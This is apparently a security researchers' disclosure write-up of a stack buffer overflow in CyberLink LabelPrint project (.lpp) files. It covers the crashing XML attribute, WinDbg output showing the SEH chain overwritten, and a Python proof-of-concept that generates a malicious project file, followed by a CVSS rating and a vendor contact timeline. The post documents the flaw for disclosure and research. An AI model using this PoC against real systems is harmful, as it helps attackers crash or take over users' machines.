CyberLink LabelPrint: Buffer Overflow
It’s been a while since our last post about exploitation. This time, we try to explain a stack-based overflow on Cyberlink LabelPrint, a tool to assist in designing labels for CD / DVD covers. It is included in the installation of Cyberlink Power2Go, PowerDVD, and Power Producer software and also pre-installed in the latest laptops by Lenovo, HP, and Asus.
Cyberlink products have a job save function with their own format and this kind of file type can only be read by related products. Project files generated by this product are usually saved in the form of an XML format. Learning from the previous finds, each tag in this file has user input, for example:
<PROJECT version="1.0.00"> <APPLICATION step="4"/> <PRINTER default="Microsoft Print to PDF" x_offset="0" lightscribe_drive_index="18446744073709551615" lightscribe_drive_path="0" y_offset="0" copy="1" target_label="1" outline="0" hidetrack="0" lightscribe_print_quality="0" lightscribe_label_mode="0"/> <PROFILE printout="FRONT_COVER" paper="Plain paper (Letter)" layout="Cover_2Column" background="C:\Program Files (x86)\CyberLink\LabelPrint\backgrounds\FrontBooklet_circle.jpg" stretch="STRETCH"/> <FONT> <TITLE point_size="0" bold="TRUE" italic="FALSE" underline="FALSE" strikeout="FALSE" shadow="TRUE" color="#000000" face="Microsoft Sans Serif" font_height="20" alignment="6" face_enabled="TRUE" border_enabled="FALSE" shadow_color="#000000" border_color="#000000"/> <CONTENT point_size="0" bold="FALSE" italic="FALSE" underline="FALSE" strikeout="FALSE" shadow="FALSE" color="#000000" face="" font_height="0" alignment="0" face_enabled="FALSE" border_enabled="FALSE" shadow_color="#000000" border_color="#000000"/> </FONT> <INFORMATION title="Test Title" author="Test Author" date="8/5/2017" SystemTime="05/08/2017"> <TRACK name="Track 1" artist="Various Artist" length="03:45"/> </INFORMATION> <LAYOUT version="1.0"> <CONTENT loading="BALANCED" break="BY_ROW" row_spacing="0"> <FIELD type="NUMBER" width="600" right_spacing="300" fixed_width="true"/> <FIELD type="SONG" width="4000" right_spacing="0" fixed_width="true"/> <TEXT angle="0" default="" curving="STRAIGHT"/> <MARGIN left="0" top="0" right="0" bottom="0" line_spacing="40"/> <BOUNDARY hole="IGNORE" edge="IGNORE"/> <BOUNDBOX left="700" top="3304" width="4800" height="568" z_order="0" align="LEFT" valign="TOP"/> <FONT point_size="0" bold="false" italic="true" underline="false" strikeout="false" shadow="false" face="Microsoft Sans Serif" color="0x000000" font_height="8" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/> <BOUNDBOX left="6300" top="3304" width="1" height="1" z_order="1" align="LEFT" valign="TOP"/> <FONT point_size="0" bold="false" italic="true" underline="false" strikeout="false" shadow="false" face="Microsoft Sans Serif" color="0x000000" font_height="8" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/> </CONTENT> <CAPTION type="TITLE"> <BOUNDBOX left="1600" top="1300" width="8200" height="1200" z_order="2" align="" valign="CENTER"/> <FONT point_size="0" bold="true" italic="false" underline="false" strikeout="false" shadow="true" face="Microsoft Sans Serif" color="0x000000" font_height="20" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/> <TEXT angle="0" default="Test Title" curving="STRAIGHT"/> <MARGIN left="0" top="0" right="0" bottom="0" line_spacing="100"/> <BOUNDARY hole="IGNORE" edge="IGNORE"/> </CAPTION> </LAYOUT> </PROJECT>
The Crash
We notice that the INFORMATION tag above (line 9,10,11) contains user’s input and has name parameter. If we change the name value inside the INFORMATION tag with a long string like this:
<INFORMATION title="Test Title" author="Test Author" date="8/5/2017" SystemTime="05/08/2017"> <TRACK name="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" artist="Various Artist" length="03:45"/> </INFORMATION>
And then save it as a new file (mine is test.lpp). Load it the modified project file with Cyberlink LabelPrint, we got this:
The program crashed.
In order to examine this, I already set up procdump to dump the crash and make us easier to examine the crash. You can set up the procdump using this command:
C:\sysinternalsuite\procdump -ma -i C:\crashdump
(Note: you need to create the folder C:\crashdump first.)
Examine the Crash using Windbg
We load the dump file using Windbg and examine further.
This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (140.3b4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00190000 edx=06aa3f5c esi=00000000 edi=07670000 eip=77aeceec esp=0018d6b0 ebp=0018db10 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212 ntdll!NtWaitForMultipleObjects+0xc: 77aeceec c21400 ret 14h
Debugger catch the exception at this module ntdll!ZwWaitForMultipleObjects+0xc but we need to see what really happened. Since this is an exception, we can go directly to examine the Structure Exception Handler (SEH)
0:000> !exchain 0018db00: ntdll!_except_handler4+0 (77b4d6a0) CRT scope 0, func: ntdll!RtlReportExceptionEx+438 (77b6bfdf) 0018e0f8: *** ERROR: Module load completed but symbols could not be loaded for LabelPrint.exe LabelPrint+8b218 (0048b218) 0018ee3c: LabelPrint+10041 (00410041) Invalid exception stack at 00410041
In the !exchain command result above, we can see that the exception handler was overwritten with our supplied input (AAAAA…AA, note that A is 41 in hex). This indicates that the stack was overflowed as well. And then, we notice this:
Invalid exception stack at 00410041
Our supplied input (AAAAA..AA) is transformed to 00410041 (00A00A). So, base on this info, we can conclude:
- This is stack based overflow condition
- The SEH is overwritten, so the approach of our code execution will be SEH based approach
- Our supplied input is transformed to 00410041, so the exploit development must use the unicode jutsu technique in order to accomplish this.
After further research, these parameters are also affected:
- author (inside the INFORMATION tag)
- artist (inside the TRACK tag)
- default (inside the TEXT tag)
Proof of Concept
Below is the proof of concept script that we use to build the exploit, have fun!
#!/usr/bin/python # # Tested on Windows 7 SP1 (x86,x64) # Tested on Windows 8.1 (x86,x64) # Tested on Windows 10 Pro version 1703 (x86,x64) # header = ("\x3c\x50\x52\x4f\x4a\x45\x43\x54\x20\x76\x65\x72\x73\x69\x6f\x6e" "\x3d\x22\x31\x2e\x30\x2e\x30\x30\x22\x3e\x0a\x09\x3c\x49\x4e\x46" "\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x20\x74\x69\x74\x6c\x65\x3d\x22" "\x22\x20\x61\x75\x74\x68\x6f\x72\x3d\x22\x22\x20\x64\x61\x74\x65" "\x3d\x22\x37\x2f\x32\x34\x2f\x32\x30\x31\x37\x22\x20\x53\x79\x73" "\x74\x65\x6d\x54\x69\x6d\x65\x3d\x22\x32\x34\x2f\x30\x37\x2f\x32" "\x30\x31\x37\x22\x3e") filename = "fuzz.lpp" f = open(filename,'w') junk = "A" * 790 nseh = "\x42\x42" seh = "\x43\x43" sisa = "\x44" * (5000-len(junk+nseh+seh)) payload = junk+nseh+seh+sisa bug="\x09\x09\x3c\x54\x52\x41\x43\x4b\x20\x6e\x61\x6d\x65\x3d"+'"'+payload+'"'+"/>\n" bug+=("\x09\x3c\x2f\x49\x4e\x46\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x3e\x0a" "\x3c\x2f\x50\x52\x4f\x4a\x45\x43\x54\x3e") f.write(header+ "\n" + bug) print "<--CyberLink LabelPrint <=2.5 Stack Overflow POC-->" print "[*] by f3ci & modpr0be <research[at]spentera.id>" print "[*] <--------------------------------------------->\n" print "[+] File", filename, "successfully created!" print "[*] Now open project file", filename2, "with CyberLink LabelPrint." print "[*] Good luck ;)" f.close()
Impact (CVSSv3)
CVSS Severity (version 3.0):
CVSS v3 Base Score: 7.7 High
Vector: CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (legend)
Impact Score: 6.0
Exploitability Score: 1.0
CVSS Version 3 Metrics:
Attack Vector (AV): Local
Attack Complexity (AC): High
Privileges Required (PR): None
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): High
Integrity (I): High
Availability (A): High
Based on Common Vulnerabilty Scoring System (CVSS) version 3 calculator provided by National Vulnerability Database (NVD)
Aftermath
We contacted Cyberlink support and they believe this is not an issue on their product function. Well.. anyway, here is the log:
July 31, 2017 | Initial contact with CyberLink support |
August 01, 2017 | Vulnerability acknowledged and forwarded to engineer team for further analysis and investigation |
August 05, 2017 | Notify CERT/CC for the vulnerability. |
August 20, 2017 | Convincing the engineer team that the vulnerability will affect the operating system. Proof of concept sent for further investigation. |
August 31, 2017 | CyberLink team told that will include the fixing in the next product release, but the date will be kept confidential. |
References
https://www.exploit-db.com/exploits/42777/